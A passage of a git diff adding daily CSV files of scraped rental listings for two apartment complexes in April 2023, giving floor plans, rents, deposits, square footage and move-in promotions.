for more details! *Restrictions apply." +20230416,modera,A16D,1 bd/1 ba,"Starting from $2,915/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,B01,2 bd/2 ba,"Starting from $3,115/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,B03,2 bd/2 ba,"Starting from $3,286/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,B05,2 bd/2 ba,"Starting from $3,327/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,B07,2 bd/2 ba,"Starting from $3,345/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230416,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230417.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230417.csv new file mode 100644 index 00000000000..2ae4971a4ed --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230417.csv @@ -0,0 +1,48 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230417,talisman,A12,1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230417,talisman,A7,1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230417,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230417,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230417,talisman,A1,1 Bed 1 Bath,ContactUs,$300,604 - 671 sq.ft.,None,N/A +20230417,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230417,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230417,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230417,talisman,A5,1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230417,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230417,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230417,talisman,AL2,1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230417,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230417,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230417,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230417,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230417,talisman,CL6,2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230417,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230417,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230417,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230417,talisman,C3,2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230417,talisman,C1,2 Bed 2 Bath,ContactUs,$300,1029 - 1294 sq.ft.,None,N/A +20230417,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230417,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230417,talisman,C8,2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230417,talisman,C11,2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230417,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230417,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230417,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230417,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230417,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A09,1 bd/1 ba,"Starting from $2,395/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,A16D,1 bd/1 ba,"Starting from $2,915/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,B01,2 bd/2 ba,"Starting from $3,104/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,B03,2 bd/2 ba,"Starting from $3,286/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,B05,2 bd/2 ba,"Starting from $3,327/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,B07,2 bd/2 ba,"Starting from $3,345/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230417,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230418.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230418.csv new file mode 100644 index 00000000000..ef41922c9a7 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230418.csv @@ -0,0 +1,49 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230418,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230418,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230418,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230418,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230418,talisman,A1 (1x1),1 Bed 1 Bath,ContactUs,$300,604 - 671 sq.ft.,None,N/A +20230418,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230418,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230418,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230418,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230418,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230418,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230418,talisman,AL2,1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230418,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230418,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230418,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230418,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230418,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230418,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230418,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230418,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230418,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230418,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230418,talisman,C1 (2x2),2 Bed 2 Bath,ContactUs,$300,1029 - 1294 sq.ft.,None,N/A +20230418,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230418,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230418,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230418,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230418,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230418,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230418,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230418,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230418,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A09,1 bd/1 ba,"Starting from $2,386/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,A16D,1 bd/1 ba,"Starting from $2,969/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,B01,2 bd/2 ba,"Starting from $3,092/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,B03,2 bd/2 ba,"Starting from $3,286/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,B05,2 bd/2 ba,"Starting from $3,327/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,B07,2 bd/2 ba,"Starting from $3,345/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230418,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230419.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230419.csv new file mode 100644 index 00000000000..199365d4750 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230419.csv @@ -0,0 +1,49 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230419,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230419,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230419,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230419,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230419,talisman,A1 (1x1),1 Bed 1 Bath,ContactUs,$300,604 - 671 sq.ft.,None,N/A +20230419,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230419,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230419,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230419,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230419,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230419,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230419,talisman,AL2,1 Bed 1 Bath,"$3,278",$300,785 - 852 sq.ft.,None,N/A +20230419,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230419,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230419,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,318",$300,906 - 930 sq.ft.,None,N/A +20230419,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230419,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230419,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230419,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230419,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230419,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230419,talisman,C3 (2x2),2 Bed 2 Bath,"$2,533",$300,1010 - 1103 sq.ft.,None,N/A +20230419,talisman,C1 (2x2),2 Bed 2 Bath,"$3,148",$300,1029 - 1294 sq.ft.,None,N/A +20230419,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230419,talisman,C2 (2x2),2 Bed 2 Bath,"$3,093",$300,1088 - 1243 sq.ft.,None,N/A +20230419,talisman,C8 (2x2),2 Bed 2 Bath,"$3,094",$300,1155 sq.ft.,None,N/A +20230419,talisman,C11 (2x2),2 Bed 2 Bath,"$3,119",$300,1161 sq.ft.,None,N/A +20230419,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230419,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230419,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230419,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230419,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A05,1 bd/1 ba,"Starting from $1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A09,1 bd/1 ba,"Starting from $2,378/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,A16D,1 bd/1 ba,"Starting from $2,980/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,B01,2 bd/2 ba,"Starting from $3,081/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,B03,2 bd/2 ba,"Starting from $3,286/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,B05,2 bd/2 ba,"Starting from $3,327/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,B07,2 bd/2 ba,"Starting from $3,345/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230419,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230420.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230420.csv new file mode 100644 index 00000000000..e9d98e46133 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230420.csv @@ -0,0 +1,50 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230420,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230420,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230420,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230420,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230420,talisman,A1 (1x1),1 Bed 1 Bath,ContactUs,$300,604 - 671 sq.ft.,None,N/A +20230420,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230420,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230420,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230420,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230420,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230420,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230420,talisman,AL2,1 Bed 1 Bath,"$3,587",$300,785 - 852 sq.ft.,None,N/A +20230420,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230420,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230420,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,627",$300,906 - 930 sq.ft.,None,N/A +20230420,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230420,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230420,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230420,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230420,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230420,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230420,talisman,C3 (2x2),2 Bed 2 Bath,"$2,533",$300,1010 - 1103 sq.ft.,None,N/A +20230420,talisman,C1 (2x2),2 Bed 2 Bath,"$3,148",$300,1029 - 1294 sq.ft.,None,N/A +20230420,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230420,talisman,C2 (2x2),2 Bed 2 Bath,"$3,093",$300,1088 - 1243 sq.ft.,None,N/A +20230420,talisman,C8 (2x2),2 Bed 2 Bath,"$3,094",$300,1155 sq.ft.,None,N/A +20230420,talisman,C11 (2x2),2 Bed 2 Bath,"$3,119",$300,1161 sq.ft.,None,N/A +20230420,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230420,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230420,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230420,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230420,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A05,1 bd/1 ba,"Starting from $1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A09,1 bd/1 ba,"Starting from $2,370/month",$300,640,/,"Up 